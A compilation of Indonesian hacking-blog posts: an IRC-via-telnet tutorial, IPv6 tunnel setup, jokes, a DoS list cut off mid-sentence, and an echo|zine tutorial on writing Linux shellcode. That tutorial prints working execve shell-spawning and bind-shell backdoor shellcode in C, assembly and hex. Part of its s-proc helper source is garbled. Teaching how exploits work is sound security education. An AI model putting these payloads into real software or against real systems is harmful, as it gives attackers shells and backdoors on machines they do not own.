AnasKi Blog's

Salam Pembuka

Welcome to AnasKi CreW !


Trima kasih Telah Mengunjungi Blog saya dan jangan lupa tinggalkan komentar :D
Waktu itu, saya sedang iseng di chanel #irchelp mencari tahu cara pembuatan script mIRC,
dan beberapa hal tentang IRC. Maklum, saya gak hobi ceting, paling cuma nongkrong doang.

Kebetulan saya mempunyai beberapa IRC client di rumah, yang saya jalankan pada localhost
menggunakan BIRCD (Beware IRC Daemon [Demit?]). Sehingga ntar saya bisa latihan tanpa harus
online. Soalnya, kompie di rumah gak bisa buat OL T_T

Lalu saya bertanya pada penghuni #irchelp (yang semuanya baik hati) tentang IRC client
yang imut yang mereka tahu. Lalu ada yang bertanya, "imut bagaimana maksudnya?"

Lalu saya jelaskan bahwa saya ingin IRC client yang ukurannya kecil.


you can use old version of mIRC. I have all.
um.. I mean, the client that I don't have to install
you can copy only the exe, the rest are yours :P
<@jaban> dal.net has the web version, you can use w/out any client


Jawaban mereka belum memuaskan keingintahuan saya. Iseng tiba-tiba terpikirkan kemungkinan
untuk cetting memakai telnet. Telnet yang saya maksud bukan melalui remote shell, tapi
menggunakan client telnet.

Lalu di warnet itu juga saya telnet ke DAL.net

C:\WINDOWS>telnet irc.dal.net 6667

Lalu muncul:

NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response

Blah.... trus gimana nih? Saya tuliskan perintah-perintah IRC yang saya tahu. Saya coba
ketik perintah HELP, siapa tahu Daemonnya baik hati mau memberitahu apa yang harus di-
lakukan.

NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response
HELP
:irc.dal.net 451 HELP :Register first.

Gludak! Tambah bingung nih. Saya coba perintah REGISTER, siapa tahu berhasil.

NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response
HELP
:irc.dal.net 451 HELP :Register first.
register sandal passwordku sandal@bonbon.net

Gak muncul apa-apa. Gimana nih????
Dalam kekalutan hati, tiba-tiba saya teringat om Google yang baik hati.
JREEENG!!!! Saya menemukannya. Coba deh ke free2code.com (apa .net ya?).

Inilah yang harus dilakukan untuk cetting menggunakan telnet. Kali ini saya menggunakan
localhost, biar gak perlu online :P Jangan lupa server IRC-nya dihidupin dulu.

C:\WINDOWS>telnet 127.0.0.1 6667
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response

Kemudian masukkan data kita, dengan format:

USER [NAMA] [HOST] [HOST] [:NAMA ASELI]
user sandal localhost localhost :Tes Ajah

Pemakaian titik dua ":", hanya jika nama aseli lebih dari satu kata. Untuk host, baik
sedang online atau tidak, nama localhost tetep bisa dipakai kok. Saya sendiri belum
begitu mudeng tentang hal ini :D

Kok gak muncul apa-apa? Jangan khawatir, lanjut ke perintah berikutnya. Yaitu menentukan
nick yang akan dipakai.

NICK [YOURNICKNAME]
nick sandal

Jika berhasil, server akan nge-ping ke kita. Agar dianggep hidup, kita harus membalasnya
dengan pong.

PING :1100108772

Balas dengan:

PONG :1100108772 <-- angka sesuai yang muncul di ping.

Jika berhasil, maka akan muncul keterangan server tersebut, termasuk juga MOTD-nya
(Message Of The Day).

Berikut lengkapnya. Tanda [] saya gunakan untuk membedakan input dengan output.
Pada pemakaian sebenarnya, TIDAK menggunakan tanda tersebut. Jadi yang berada dalam "[]"
adalah apa yang harus kita tuliskan


C:\WINDOWS>telnet 127.0.0.1 6667
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response
[user sandal localhost localhost :Namaku Sandal]
[nick sandal]
PING :615981036
[PONG :615981036]
:server.dian.sastro 001 sandal :Welcome to the Internet Relay Network sandal
:server.dian.sastro 002 sandal :Your host is server.dian.sastro, running version
beware1.5.7
:server.dian.sastro 003 sandal :This server was created Tue Jul 13 2004 at 20:36:07 GMT
:server.dian.sastro 004 sandal server.dian.sastro beware1.5.7 dgikoswx biklmnoprstv
:server.dian.sastro 005 sandal MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG
CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported
by this server
:server.dian.sastro 005 sandal NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#&
PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459
:are supported by this server
:server.dian.sastro 251 sandal :There are 1 users and 0 invisible on 1 servers
:server.dian.sastro 255 sandal :I have 1 clients and 0 servers
:server.dian.sastro NOTICE sandal :Highest connection count: 1 (1 clients)
:server.dian.sastro 422 sandal :MOTD File is missing
:server.dian.sastro NOTICE sandal :on 1 ca 1(4) ft 10(10)

Selanjutnya adalah menentukan channel yang akan kita gunakan. Perintah-perintah mIRC
pada umumnya bisa kita gunakan di sini. Bedanya adalah pada telnet, kita tidak menggunakan
tanda "/" (garis miring).

join #cinta
:sandal!~sandal@server.dian.sastro JOIN :#cinta
:server.dian.sastro 353 sandal = #cinta :@sandal
:server.dian.sastro 366 sandal #cinta :End of /NAMES list.

Tiba-tiba ada yang gabung dan menyapa kita.

:jeki!admin@server.dian.sastro JOIN :#cinta
:jeki!admin@server.dian.sastro PRIVMSG #cinta :hai sandal

Lalu kita balas. Format penulisan adalah: "PRIVMSG [#channel] [:isi pesan]".
Ingat, tanda ":" dipakai karena isi pesan lebih dari satu kata.

privmsg #cinta :hai juga jeki

Tiba-tiba di monitor muncul tulisan PING :server.dian.sastro, itu artinya server pengen
tau kita masih hidup apa enggak. Untuk itu harus dibales dengan PONG.

PING :server.dian.sastro
PONG :server.dian.sastro <-- sesuai yang muncul di PING

Pokoknya setiap muncul PING :******* kita harus membalasnya dengan PONG :*******.
Jika tidak, maka server akan menganggap kita udah mati dan memutuskan koneksi.

Bagaimana jika ingin melakukan query/pesan pribadi?
Hampir sama dengan mengirim pesan ke channel. Bedanya, nama channel diganti dengan nickname.

PRIVMSG jeki :apa kabar ente jek?

Well, itu saja yang bisa saya sampaikan, soale saya juga lom banyak tahu.
Silahkan dieksplorasi, agar lebih memahami.

Semoga bisa menambah pengetahuan teman-teman, dan bagi yang sudah menguasainya, mohon
pencerahan jika terdapat kesalahan dalam tulisan ini.
1. Daftarkan ip public di www.ipng.org.uk atau www.xs26.net
- Anda akan mendapatkan ipv6 dan ip gateway ipv6
misal ipv6 : 2001:618:4:2000::d56 dan
ipv6 gateway : 213.253.1.201

2. Aktifkan ipv6 pada shell anda :
#/sbin/modprobe ipv6
#/sbin/ifconfig sit0 up
#/sbin/ifconfig sit0 inet6 add 2001:618:4:2000::d56
#/sbin/route -A inet6 add ::/0 gw ::213.253.1.201 sit0
#/sbin/ifconfig sit0

Jika keluar seperti di bawah ini ber-arti ipv6 anda dah SIP :)

sit0 Link encap:IPv6-in-IPv4
inet6 addr: 2001:618:4:2000::d56/0 Scope:Global
inet6 addr: ::127.0.0.1/96 Scope:Unknown
inet6 addr: ::202.10.10.11/96 Scope:Compat
UP RUNNING NOARP MTU:1480 Metric:1
RX packets:310 errors:0 dropped:0 overruns:0 frame:0
TX packets:362 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:
RX bytes:60058 (58.6 Kb) TX bytes:35607 (34.7 Kb)

3. Test ipv6 anda dengan :

#/usr/sbin/ping6 2001:618:4:2000::d56 << punya nya XF86Setup

4. Install psybnc2.3.1 (support ipv6)
- Isi vhost dengan 2001:618:4:2000::d56

5. Masuk ke psybnc
- /addserver irc.aloha.net:6667
- /addsevver irc.ipv6.homelien.no:6667

sumber : ezine.echo.or.id
--//  Intro

Dalam dunia computer security, kata 'exploit' merupakan salah satu kata
yang paling sering digunakan dan dijumpai. Exploit seakan-akan seperti
senjata super yang dapat digunakan untuk membobol suatu sistem,
benarkah?! Yup, exploit memang dapat di ibaratkan sebagai suatu senjata
yang dapat digunakan untuk menyerang dan menjebol suatu sistem sehingga
kita bisa mendapatkan akses pada sistem tersebut. Prinsip dasar mengenai
exploit telah di berikan oleh y3dips pada echo|zine 13, pada
ezine tersebut y3dips menggambarkan bagaimana proses pembuatan suatu
exploit berdasarkan informasi hole pada suatu sistem.

Saat ini, ada cukup banyak jenis exploit yang dapat digunakan. Ada
exploit yang menyerang suatus sistem secara langsung dengan memanfaatkan
security hole pada sistem tersebut (system based), dan ada juga exploit
yang digunakan untuk menyerang security hole pada suatu aplikasi web
(web based e[x]ploit). Ada sangat banyak cara menemukan hole security,
dan ada banyak juga jenis hole yang dapat di manfaatkan (sekali lagi,
silahkan baca artikel y3dips mengenai 0day exploit pada echo|zine 13).

Diantara jenis hole tersebut, ada 1 jenis hole yang dapat dikatakan
sebagai jenis hole tertua dimana jenis hole tersebut digunakan sebagai
dasar pembuatan exploit bahkan hingga saat ini. Jenis hole tersebut
adalah 'buffer overflow', yang hingga saat ini masih menjadi salah
satu jenis hole tertua namun banyak di gunakan sebagai dasar menemukan
kelemahan suatu sistem maupun aplikasi yang sifat nya system based.
Saya tidak akan menjelaskan secara rinci bagaimana cara kerja buffer
overflow, untuk memahami nya silahkan baca artikel buatan aleph1
yang berjudul "Smashing The Stack for Fun and Profit".

Dalam exploit yang memanfaatkan jenis hole buffer overflow, kita
pasti akan menemukan apa yang di sebut dengan "Shellcode". Umumnya
banyak yang tidak memahami apa itu shellcode, bagaimana cara membuatnya,
bagaimana prinsip dasar cara kerja nya, dsb. Tapi yang pasti, shellcode
berbentuk karakter-karakter aneh yang dimasukan dalam source code suatu
exploit, dan saya yakin banyak sekali teman-teman yang penasaran dengan
karakter-karakter aneh tersebut dan bertanya-tanya apa itu sebenarnya :).

Oh iya, sebelum nya saya harap anda telah memahami prinsip dasar
bagaimana komputer bekerja khusus nya bagaimana suatu program berjalan
pada sebuah komputer, dengan kata lain anda memiliki pengetahuan dasar
mengenai pemrograman tingkat rendah untuk memahami prinsip kerja shellcode,
bagi anda yang belum memahami ada baik nya membaca-baca terlebih dahulu
dasar-dasar pemrograman assembly baik pada linux maupun windows (secara
prinsip sama aja kok :) ). So...here we go!


---// Shellcode

Shellcode merupakan program yang akan mengambil alih suatu sistem sesaat
setelah exploit membuat sistem tersebut 'crash'. Shellcode dapat
diibaratkan seperti telur yang di bungkus oleh exploit, saat exploit
berhasil merusak suatu sistem maka telur yang ada didalamnya akan segera
mengambil alih sistem tersebut. Dalam prinsip dasar cara kerja komputer,
prosesor hanya akan melakukan 1 buah instruksi dalam satu waktu. Yang
memberikan instruksi tersebut adalah program (contoh program: winamp,
notepad, dsb). Saat program akan di eksekusi (misal: kita klik icon
winamp), maka program winamp yang semula ada di hardisk akan diload ke
suatu lokasi di memori komputer, dan kemudian prosesor akan mengeksekusi
kode-kode program winamp tersebut. Dalam hal ini kita membicarakan
program tingkat rendah (bahasa mesin), program akan memberikan instruksi
kepada prosesor untuk mendapatkan suatu hasil tertentu, sebagai contoh
menuliskan karakter tertentu pada monitor.

Lalu apa yang sebenar nya dilakukan exploit?!exploit akan membuat suatu
aplikasi/sistem yang memiliki kelemahan tertentu 'crash' dan memboikot
aplikasi tersebut sehingga prosesor yang seharus nya menjalankan
kode-kode program aplikasi tadi akan diarahkan untuk menjalankan
kode-kode lain yang telah di persiapkan oleh exploit. Yup, kode-kode
yang telah di persiapkan tersebut adalah shellcode.

Saat exploit merusak suatu aplikasi/sistem, exploit akan menempatkan
shellcode di suatu lokasi memori pada mesin target, selanjut nya exploit
akan membuat prosesor menuju lokasi memori tempat shellcode telah ditanam
dan kemudian akan mengeksekusi nya. Mekanisme ini berhubungan langsung
dengan prosesor dan memory, itu sebab nya shellcode dibuat agar dapat
langsung di tanam pada memori sehingga bentuk nya cukup aneh.

Berikut contoh shellcode:

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x0f\x59\xb3"
"\x01\xb2\x0d\xb0\x04\xcd\x80\xfe\xcb\xb0\x01\xcd"
"\x80\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c"
"\x20\x77\x6f\x72\x6c\x64\x21";

Bagi mereka yang sering kutak-katik exploit terutama dengan mempelajari
source codenya (bukan cuma menggunakan saja) pasti sering melihat bentuk
diatas, dan saya yakin banyak yang bertanya-tanya apa itu sebenarnya :).

Karakter-karakter diatas merupakan bentuk yang dapat langsung ditempakan
pada memory komputer, dan dapat segera di eksekusi oleh prosesor. Apabila
dieksekusi, shellcode diatas akan menginstruksikan prosesor untuk
menampilkan tulisan "Hello, World!" pada monitor (STDOUT).


---// Pembuatan Shellcode

Dari penjelasan diatas, saya rasa cukup jelas ada nya pernyataan bahwa
shellcode adalah 'telur' yang di bawa oleh exploit untuk di eksekusi oleh
target. Dengan kata lain, exploit akan memaksa mesin target melakukan suatu
instruksi tertentu sesuai dengan jenis shellcode yang akan digunakan.
Diantara teman-teman mungkin pernah juga melihat pernyataan bahwa exploit
itu spesifik untuk suatu jenis mesin (platform) tertentu dan spesifik
untuk sistem operasi tertentu, misalnya: exploit untuk linux tidak dapat
digunakan oleh windows. Kenapa?! karena tiap platform (misal: intel, sparc,
mac) maupun sistem operasi (linux, freebsd, sun solaris) memiliki aturan
standar tertentu untuk proses alokasi memory serta instruksi prosesornya.
Dengan begitu, shellcode untuk suatu platform maupun sistem operasi
tertentu tentu akan berbeda dengan platform dan sistem operasi lain nya.

Dari penjelasan tentang shellcode diatas, dapat dipahami mengapa suatu
mesin yang telah diexploit bisa kita dapat kan shell nya...ataupun dapat
melakukan serangan DOS tertentu terhadap mesin lain, ataupun setelah di
exploit tiba-tiba mesin target akan membuka port tertentu dimana kita bisa
masuk ke sistem tersebut melalui port yang baru saja dibuka, dsb. Itu
semua tergantung dari jenis shellcode yang kita gunakan terhadap mesin
target. Namun untuk membuat exploit tidak semudah membicarakan nya, harus
dilakukan percobaan terlebih dahulu untuk mengetahui bagaimana cara membuat
sistem tersebut crash, bagaimana cara kita meletakan shellcode pada memory
mesin target sesaat setelah aplikasi/sistem nya 'crash', dsb.

Untuk proses pembuatan exploit di luar cakupan bahasan saat ini (karena
terlalu luas, may be next article :) ). Saat ini, kita hanya akan bahas
proses membuat shellcode dan apa saja hal-hal penting yang harus
diperhatikan saat membuat shellcode tersebut.


---// Tools

Untuk membuat shellcode, minimal harus memiliki pengetahuan dasar mengenai
bahasa pemrograman tingkat rendah (assembly), bahasa C, system call dan
pemrograman jaringan. Untuk artikel ini saya menggunakan sistem operasi
linux (backtrack), nasm, serta gcc yang semuanya berjalan di atas kernel
linux-2.6.12.2 dan seluruh code program yang digunakan sebagai contoh
telah diujicoba sebelumnya.

Untuk proses kompilasi shellcode, akan digunakan tools opensource "nasm".
nasm digunakan untuk kompilasi kode assembly sehingga dapat di konversi
dalam bentuk string dan digunakan dalam exploit. Paket nasm juga
menyertakan disassembler yang dapat digunakan untuk disassemble compiled
shellcode.

Shellcode yang telah di compile harus diubah terlebih dahulu dalam bentuk
string hexadecimal (hex string) seperti contoh diatas (yang bentuknya aneh
=D). Untuk proses eksekusi shellcode yan telah di compile maupun
mengubahnya dalam bentuk hex string kita dapat menggunakan program dibawah
ini:

[Cyb3rh3b@k-elektronik] $ cat s-proc.c

#include
#include
#include
#include
#include

/*
* Print message function
*/
static void
croack (const char *msg) {
fprintf(stderr, "%s\n",msg);
fflush(stderr);
}
/*
* Usage function
*/
static void
usage (const char *prgnam) {
fprintf(stderr, "\nExecute code : %s -e \n",prgnam);
fprintf(stderr, "Convert code : %s -p \n\n",prgnam);
fflush(stderr);
exit(1);
}
/*
* Signal error and bail out.
*/
static void
barf(const char *msg) {
perror(msg);
exit(1);
}

/*
* Main code starts here
*/

int
main(int argc, char **argv) {
FILE *fp;
void *code;
int arg;
int i;
int l;
int m = 15; /* max # of bytes to print on one line */

struct stat sbuf;
long flen; /* Note: assume files are < flen =" (long)" code =" malloc(flen)))" fp =" fopen(argv[2]," arg =" getopt(argc,argv," fptr =" (void" l =" m;" i="0;i">= m) {
if (i) printf("\"\n");
printf( "\t\"");
l=0;
}
++l;
printf("\\x%02x", ((unsigned char *)code) [i]);
}
printf("\";\n\n\n");

break;
default :
usage(argv[0]);
}
}
return 0;
}


[Cyb3rh3b@k-elektronik] $ gcc s-proc.c -o s-proc
[Cyb3rh3b@k-elektronik] $ ./s-proc

Execute code : ./s-proc -e
Convert code : ./s-proc -p

Compile source code tools tersebut dengan cara diatas, dan apabila
berhasil...coba tes apakah tools tersebut siap digunakan. Untuk mencoba
shellcode yang akan dijadikan contoh pada artikel ini, lakukan langkah
berikut:

1. Tulis shellcode dalam bahasa assembly dan simpan dengan nama file .S,
contoh: hello.S
2. Lakukan kompilasi : nasm -o .S,
contoh: nasm -o hello hello.S
3. Untuk print shellcode gunakan: s-proc -p
4. Untuk eksekusi shellcode gunakan: s-proc -e


Ok, sekarang persiapan nya telah siap...segera kita lihat bagaimana cara
membuat shellcode :)


---// Code, code, code!

Saya harap anda telah memahami dari penjelasan sebelum nya bahwa shellcode
merupakan kode program yang telah berbentuk string hexadecimal untuk di
tempatkan pada suatu lokasi di memori target dan kemudian di eksekusi oleh
prosesor mesin tersebut. Pada contoh-contoh dibawah ini hanya memberikan
gambaran bagaimana membuat shellcode tesebut, bukan membuat exploit secara
keseluruhan.

Shellcode umum nya memanfaatkan system call, diantara system call tersebut
yang terpenting dan banyak digunakan adalah write dan execve. Berikut contoh
shellcode yang memanfaatkan system call write (yang ditulis dalam bahasa C
dan assembly):

[Cyb3rh3b@k-elektronik] $ cat write.c

#include

int main()
{
char *str="Hello, echo!!";

write(1,str,13);
exit(1);
return 0;

}

[Cyb3rh3b@k-elektronik] $ gcc write.c -o write
[Cyb3rh3b@k-elektronik] $ ./write
Hello, echo!!

program diatas apabila diconvert ke dalam bahasa assembly (jangan lupa, shellcode dibuat menggunakan bahasa tingkat rendah seperti assembly)
sebagai berikut:


[Cyb3rh3b@k-elektronik] $ cat write.S

BITS 32

xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
jmp short string
code:
pop ecx
mov bl,1
mov dl,13
mov al,4
int 0x80
dec bl
mov al,1
int 0x80
string:
call code
db 'Hello, echo!!'

compile source code diatas dan eksekusi dengan menggunakan tools s-proc:

[Cyb3rh3b@k-elektronik] $ nasm -o write write.S
[Cyb3rh3b@k-elektronik] $ s-proc -e write
Calling code ...
Hello, echo!!

program/shellcode diatas memanfaatkan system call write untuk menampilkan
tulisan "Hello, echo!!" di layar monitor, informasi lengkap mengenai system
call pada linux dapat dicari melalui internet, ada cukup banyak situs yang
menyediakan list system call serta penggunaan nya pada bahasa assembly (itu
sebab nya diatas tadi saya harap anda telah membaca mengenai pemrograman
assembly, khusus nya pada linux :) ). Dengan tools s-proc tersebut, kita
bisa mendapatkan bentuk hex string dari shellcode yang telah di compile:

[Cyb3rh3b@k-elektronik] $ s-proc -p write
/* The following shellcode is 43 bytes long: */

char shellcode[] =
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x0f\x59\xb3\x01\xb2\x0d\xb0\x04\xcd\x80\xfe\xcb\xb0\x01\xcd\x80\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x65\x63\x68\x6f\x21\x21";

hex string diatas dapat kita gunakan sebagai telur pada exploit, dan tentu
saja apabila di gunakan pada suatu exploit...maka setelah proses eksploitasi
mesin target akan menampilkan tulisan "Hello, echo!!" pada screen nya
(STDOUT) :).


Selain system call write, yang umum digunakan adalah system call execve.
Berikut contoh implementasi nya dalam bahasa C yang kemudian diconvert
kedalam bahasa assembly:

[Cyb3rh3b@k-elektronik] $ cat execve.c

#include

int main()
{

char *command="/bin/sh";
char *args[2];

args[0]=command;
args[1]=0;

execve(command,args,0);

return 0;

}

program diatas memanfaatkan system call execve untuk meng-eksekusi command
"/bin/sh", dengan kata lain untuk membangkitkan shell pada sistem linux/unix.
Berikut ini adalah hasil konversi nya dalam bahasa assembly:

[Cyb3rh3b@k-elektronik] $ cat execve.S

BITS 32
xor eax,eax
cdq
push eax
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

[Cyb3rh3b@k-elektronik] $ nasm -o execve execve.S
[Cyb3rh3b@k-elektronik] $ s-proc -e execve
Calling code ...
sh-3.00#

shellcode tersebut akan di eksekusi mesin target, biasa nya digunakan untuk
membangkitkan shell seperti pada local exploit (mendapatkan shell root pada
target). Untuk menjadikan shellcode diatas sebagai telur yang siap di
bawa/dibungkus oleh exploit, kita harus mengubah nya dalam bentuk hex
string...untuk itu gunakan lagi tools s-proc:

[Cyb3rh3b@k-elektronik] $ s-proc -p execve
/* The following shellcode is 24 bytes long: */

char shellcode[] =
\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


That's it, bentuk hex string diatas lah yang akan kita masukan pada
exploit :).

Shellcode yang digunakan pada exploit saat ini umum nya memanfaatkan system
call networking, sehingga mesin target dapat di akses secara remote.
Misalnya: shellcode untuk membuat mesin target membuka port tertentu dimana
telah disiapkan shell untuk penyerang apabila melakukan koneksi pada port
tersebut, atau bahkan membuat mesin target melemparkan shellnya kepada
penyerang secara langsung sehingga saat proses exploitasi selesai penyerang
akan mendapatkan akses shell ke mesin target.

Berikut ini salah satu contoh shellcode yang memanfaatkan pemrograman
jaringan, dimana shellcode akan membuat mesin target membuka suatu port dan
mengeksekusi shell ketika seseorang melakukan koneksi pada port tersebut.
Jadi, pada dasar nya shellcode ini merupakan backdoor pada remote system:

[Cyb3rh3b@k-elektronik] $ cat bindshell.c

#include
#include
#include

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{

serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0xAAAA;
soc=socket(2,1,0);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execve("/bin/sh",0,0);

return 0;

}

apabila di konversi ke dalam assembly maka program diatas akan menjadi:

[Cyb3rh3b@k-elektronik] $ cat bindshell.S

BITS 32

xor eax,eax
xor ebx,ebx
cdq

push eax
push byte 0x1
push byte 0x2
mov ecx,esp
inc bl
mov al,102
int 0x80
mov esi,eax ; store the return value in esi

push edx
push long 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80

push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 0x80

push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80
mov ebx,eax

xor ecx,ecx
mov cl,3
l00p:
dec cl
mov al,63
int 0x80
jnz l00p

push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80


[Cyb3rh3b@k-elektronik] $ nasm -o bindshell bindshell.S
[Cyb3rh3b@k-elektronik] # s-proc -e bindshell
Calling code ...

Shellcode diatas akan membuka port 43690 saat di eksekusi, untuk melihatnya
bisa dilihat dengan utility netstat:

[Cyb3rh3b@k-elektronik] $ netstat -lt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:43690 *:* LISTEN
tcp 0 0 *:x11 *:* LISTEN


Dan seperti biasa, untuk mendapatkan bentuk hex string dari shellcode
bindshell diatas kita tinggal menggunakan tools s-proc:

[Cyb3rh3b@k-elektronik] $ s-proc -p bindshell
/* The following shellcode is 96 bytes long: */

char shellcode[] =
\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xaa\x02\xaa\xaa\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


Selanjutnya tinggal memasukan shellcode dalam bentuk hex string diatas dalam
exploit kita untuk dieksekusi oleh target :).


---// Summary

Artikel ini saya buat mengingat kebingungan saya saat awal-awal membaca source
code exploit dulu, dan diantara teman-teman juga mungkin ada yang sempat
bingung dengan fungsi shellcode pada saat membaca source code exploit.
Intinya, shellcode merupakan program yang dibawa oleh exploit dan akan
dieksekusi oleh target. Shellcode merupakan instruksi langsung yang akan
ditempatkan pada memori,itu sebab nya harus dalam bentuk hex string. Dan pada
artikel ini telah di berikan contoh bagaimana mendapatkan hex string dari
shellcode yang dibuat menggunakan bahasa assembly. Semoga saja dapat
memberikan gambara pada teman-teman mengenai shellcode dan bagaimana dasar
cara membuat nya. Untuk referensi lebih dalam mungkin bisa di coba untuk
membaca artikel nya aleph1 tentang buffer overflow dan artikel mengenai cara
pembuatan exploit.

Semog bermanfaat.

Wassalam!


---// Reference

1. Smashing The Stack For Fun and Profit - Aleph1
2. Writing Security Tools and Exploits - James C. Foster ; Vincent Liu
3. 0second: Meet The Bugs - y3dips

Seorang Bos disebuah perusahaan IT ternama terlihat marah-marah di telpon
dan terlihat frustasi, ternyata dia pusing dikarenakan dudul sang administrator kantornya sakit
dan tidak dapat masuk kantor, sementara dia perlu masuk ke komputer pribadi miliknya
dan tidak memiliki informasi login

Bos : dul, gimana biar saya bisa login di komputer saya?
dudul: gampang pak , tinggal isikan password dan username saja
Bos : baiklah,tolong kamu diktekan kesaya

Karena si dudul berfikir sangat mudah untuk menyadap pembicaraan via telepon maka
dia memutuskan untuk hanya memberikan bos sebuah "hint" untuk petunjuk/penginggat,

dudul: pak, passwordnya itu sama dengan usernamenya
BOs : halah kamu dul, saya itu ga tanya passwordnya, saya tau itu
yang saya ndak tau itu usernamenya apa
dudul: #@%!#%!#^^!!&#!&#&&&
Suatu Hari terjadilah percakapan antara linus.t dan b.gates mengenai siapakah
pembuat Nessus yang merupakan salah satu security scanner yang cukup ternama, dan sebelum
b.gates memutuskan untuk membelinya maka dia bertanya kepada linus tentang apakah arti
nessus itu sebenarnya, karena gates merasa takut jika ketidaktahuannya tentang arti
nessus akan menggagalkan rencananya untuk membeli nessus itu.

gates: nus, nessus itu apa artinya yah?
linus: waduh, coba dunk digunakan itu msn search beta muw itu
gates: hmm, (gates terlihat berfikir dengan malasnya untuk memanfaatkan salah satu andalannya MSN Search beta)
linus: bagaimana?
gates: apa dork yang biasa digunakan?
linus: MSN search beta punya dork (*nonsense)

Setelah sekian lama mencari dengan berbagai kata kunci di search engine keluarannya
akhirnya dengan tersenyum gates berkata,

gates: setelah dicari-cari maka aku simpulkan itu berasal dari yunani, merupakan nama
dari salah satu Centaur yang di bunuh oleh hercules, dan kemudian darahnya membunuh hercules

linus: halah, masih kurang canggih search enginemu, kurang tepat, itu dari bahasa jawa lho :D
gates: lah kok bisa?
linus: iyah pada saat Renaud Deraison melakukan pentest di sebuah perusahaan, dan menemukan
banyak vulnerabilities dengan tools yang ia buat, maka IT security perusahaan tersebut
akhirnya marah2, dan renaud pun habis dimarahi karena Manajer tersebut malu bukan kepalang.
gates: Lalu apa hubungannya ? (seraya dengan cepat mencoba memeriksanya di search engine miliknya)
linus: untuk mengenang hal itu Renaud pun memberi nama tools yang baru ia ciptakan dengan nama nessus
gates: halah kok bisa (sambil membuka tab IE 7 miliknya untuk menuliskan penjelasn linus ini di blognya)
linus: karena nessu ... artinya adalah marah dalam bahasa jawa, dan marah-marah berarti nessu-nessu
karena itu dia beri nama nessus (s; untuk jamak)
gates: wow, amazing.. what is your search engine linus? *seraya memposting tulisannya
linus: damn, ternyata kau memang benar pencipta "wind blows", i was kidding dude!
gates: #@^$$#&*#^!^!

Semua cerita diatas adalah bohong, semua karakter adalah palsu, kesamaan nama adalah
bukan kebetulan :P
1. Artis sapa yang kerjanya cari bugs?
Alanis mo riset

2. Minuman apa yang bisa di jadikan exploit?
Root beer.buat local root :P

3. Apa yang lebih canggih dari google maps?
Nmap.karena bisa melihat portnya google.

4. Apa yang di ucapkan seorang linux mania ketika tersesat?
U ...buntu!

5. Ping apa yang bisa menghancurkan server?
Ping ...in pacarin dian sastro.tapi di tolak.trus sakit hati.trus hancurin server.

6. Pesan apa yang ditulis oleh hacker patah hati di sebuah web ketika di tolak cintanya oleh seorang cewek?
"ku tunggu janda mu .."

7. DoS apa yang tidak di senangi Tuhan?
DoS ..a anak yang durhaka :). garing bgt yah

8. Bilang apa ketika sudah kenyang tapi tetep di suruh nambah makan lagi sama mertua?
Buffer overflow lol :P

9. Mengapa linux logonya pinguin?
Apapun logonya yang penting minumnya teh botol s**ro lol :P garing pisan

10. Macan apa yang cantik?
tiger ..nya os x

11. hash apa yang tidak bisa di crack dengan rainbow table?
hash ..ran addah roni, kekeke garing abiss dah :)

sumber : ezine.echo.or.id
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
